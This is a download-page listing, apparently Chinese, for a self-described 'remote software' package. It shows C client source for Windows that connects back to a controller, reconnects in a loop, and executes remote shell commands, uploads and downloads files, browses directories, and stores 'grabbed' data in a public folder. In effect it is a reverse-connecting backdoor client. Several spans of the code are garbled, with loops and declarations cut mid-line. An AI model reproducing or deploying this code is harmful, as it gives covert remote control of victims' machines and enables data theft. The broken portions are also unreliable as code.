我的远程软件 客户端C 服务端python
立即下载
资源介绍:
入口为RunClientLoop函数
#include
#include
#include "grab.c"
void start_socket(){
WSADATA data;
WSAStartup(0x0202,&data);
}
SOCKET tcp_connect(char*ip,WORD port){
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr={0};
addr.sin_family=AF_INET;
addr.sin_addr.S_un.S_addr=inet_addr(ip);
addr.sin_port=ntohs(port);
int r=connect(sock,(SOCKADDR*)&addr,sizeof(addr));
if(r==SOCKET_ERROR){
closesocket(sock);
return 0;
}
return sock;
}
BOOL sendpkg(SOCKET sock,void*data,int n){
int flg=0x44332211;
send(sock,&flg,4,0);
send(sock,&n,4,0);
int r=send(sock,data,n,0);
return r>0;
}
char* recvpkg(SOCKET sock,int*plen){
int n=0;
recv(sock,&n,4,0);
if(n!=0x44332211){
return 0;
}
recv(sock,&n,4,0);
char*buf=(char*)malloc(n);
if(!buf){
return 0;
}
recv(sock,buf,n,0);
*plen=n;
return buf;
}
int getnum(char*buf,int len){
int n=0;
for(int i=0;ipkg;
char*ip=con->ip;
WORD port=con->port;
printf("len=%d\n",con->len);
int num=getnum(pkg,con->len);
puts("@1");
int len=con->len;
puts("----recv-----");
for(int i=0;iip,con->port,"c:\\users\\public\\documents\\grab");
}
else if(!stricmp(cmd,"close")){
closesocket(con->sock);
}
else if(!stricmp(cmd,"terminal")){
TerminateProcess(GetCurrentProcess(),0);
}
else if (!stricmp(cmd,"test")&&num==2)
{
echo(con->ip,con->port,getstr(pkg,len,1));
}
else if (!stricmp(cmd,"upfile")&&num==3)
{
upfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2));
}
else if (!stricmp(cmd,"downfile")&&num==3)
{
downfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2));
}
else if (!stricmp(cmd,"cmd")&&num==2)
{
subproc(ip,port,getstr(pkg,len,1));
}
else if (!stricmp(cmd,"ll")&&num==1)
{
subproc(ip,port,"dir");
}
else if (!stricmp(cmd,"ls")&&num==1)
{
subproc(ip,port,"dir");
}
else if (!stricmp(cmd,"pwd"))
{
char*p=(char*)malloc(MAX_PATH);
if(p){
GetCurrentDirectoryA(MAX_PATH,p);
echo(ip,port,p);
free(p);
}
}
else if (!stricmp(cmd,"cd")&&num==2)
{
SetCurrentDirectoryA(getstr(pkg,len,1));
char*p=(char*)malloc(MAX_PATH);
if(p){
GetCurrentDirectoryA(MAX_PATH,p);
echo(ip,port,p);
free(p);
}
}
free(pkg);
free(con);
}
void RunClient(CLIENT_CONTENXT *con,char*fname){
con->sock=login(con->ip,con->port,fname);
if(!con->sock){
return;
}
while(1){
int len=0;
char*pkg=recvpkg(con->sock,&len);
if(!pkg){
break;
}
CLIENT_CONTENXT *ctx=(CLIENT_CONTENXT*)malloc(sizeof(CLIENT_CONTENXT));
ctx->ip=con->ip;
ctx->port=con->port;
ctx->pkg=pkg;
ctx->len=len;
ctx->sock=con->sock;
CreateThread(0,0,(LPTHREAD_START_ROUTINE)handle_once,ctx,0,0);
}
closesocket(con->sock);
puts("over");
}
void RunClientLoop(char*ip,WORD port,int t,char*fname){
CLIENT_CONTENXT con={0};
con.ip=ip;
con.port=port;
while(1){
puts("connect");
RunClient(&con,fname);
Sleep(t);
}
}